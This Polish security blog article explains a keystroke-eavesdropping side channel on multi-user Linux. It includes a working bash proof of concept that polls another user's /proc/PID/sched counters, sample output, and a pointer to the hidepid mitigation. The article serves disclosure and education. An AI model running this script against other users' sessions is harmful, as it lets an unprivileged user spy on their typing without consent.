NFsec Logo

Podsłuchujemy naciśnięcia klawiszy innego użytkownika

07/01/2023 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 844, ilość słów: 630)

S

ystemy wieloużytkownikowe zaprojektowane są na udostępnianie dużej liczby informacji użytkownikom. Wiele z tych informacji jest “publiczna” i może być współdzielona pomiędzy różnymi użytkownikami. Nigdy nie można lekceważyć wpływu takich informacji na bezpieczeństwo. Poniżej znajduje się prosty skrypt, który umożliwia złośliwemu użytkownikowi podsłuchiwanie naciśnięć klawiszy innych użytkowników przy użyciu takich informacji. Atak wykorzystuje zwykłe nieuprzywilejowane konto i informacje o procesie ujawnione przez wirtualny system plików procfs (ang. process file system) obsługiwany przez m.in. system Linux. Zawiera on hierarchię plików wirtualnych, które opisują aktualny stan jądra, w tym dane statystyczne o pamięci procesów i niektórych ich wartościach rejestrów. Są one używane przez takie programy jak ps i top, aby zbierać i prezentować informacje o systemie oraz pomagać w debugowaniu oprogramowania. Domyślnie wiele z tych plików jest czytelnych dla wszystkich użytkowników systemu, co w naturalny sposób rodzi obawy, czy ich zawartość nie może ujawnić wrażliwych informacji innego użytkownika.

Jak nasz skrypt działa? Otóż pliki takie jak: /proc/$PID/sched oraz /proc/$pid/schedstat są czytelne dla wszystkich, więc możemy po prostu zapętlić jeden rdzeń procesora na ich odczycie, podczas gdy ofiara wykonuje swój proces na innym rdzeniu i szpiegować zmiany liczników. Jako użytkownik sniffer uruchamiamy skrypt, a jako argument podając numer PID powłoki bash innego użytkownika:

PNAME="$1"

while :; do
    PID="$PNAME"
    if [ -n "$PID" ]; then
        echo $PID
        cd /proc/$PID/
        break
    fi
    sleep 1
done

S=0.0
while :; do
    V=`grep se.exec_start sched 2>/dev/null | cut -d: -f2-`
    [ -z "$V" ] && break
    if [ "$V" != "$S" ]; then
        VAL=`echo "$V - $S" | bc -l`
        VALI=`echo $VAL | cut -d. -f1`
        [ -z "$VALI" ] && VALI=0

        if [ "$VALI" -le 815 -a "$VALI" -ge 785 ]; then
            # Cursor appeared
            :
        elif [ $VALI -le 415 -a $VALI -ge 385 ]; then
            # Cursor disappeared
            :
        elif [ $VALI -ge 150 ]; then
            echo "$VAL (KEY PRESSED)"
        else
            echo "$VAL"
        fi
        S=$V
    fi
done

W tym samym czasie użytkownik agresor wpisuje w powłoce bash o numerze procesu 1482 polecenie uptime:

agresor@darkstar:~$ uptime
 20:56:39 up 49 min,  2 users,  load average: 1.43, 1.60, 1.72

Nasz szkodliwy użytkownik widzi to na swojej konsoli:

sniffer@darkstar:~$ ./keystroke.sh 1482
1482
5848645.461268 (KEY PRESSED)
6407.453557 (KEY PRESSED)
1111.534226 (KEY PRESSED)
449.158588 (KEY PRESSED)
1208.909325 (KEY PRESSED)
731.198414 (KEY PRESSED)

Ten dowód koncepcji (ang. Proof of Concept) liczy tylko liczbę naciśnięć klawiszy, ale można łatwo rozszerzyć jego działanie, aby odnotowywać opóźnienia między naciśnięciami klawiszy i przeprowadzać analizę statystyczną, aby nauczyć się znaków wejściowych, jak to zostało przedstawione w pracy pt. “Peeping Tom in the Neighborhood: Keystroke Eavesdropping on Multi-User Systems” oraz “Timing Analysis of Keystrokes and Timing Attacks on SSH“. Utrudnieniem dla tego zjawiska może być zastosowanie opcji hidepid.

Więcej informacji: /proc/$PID/sched PoC: spy-gksu

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , ,

Komentowanie tego wpisu jest zablokowane.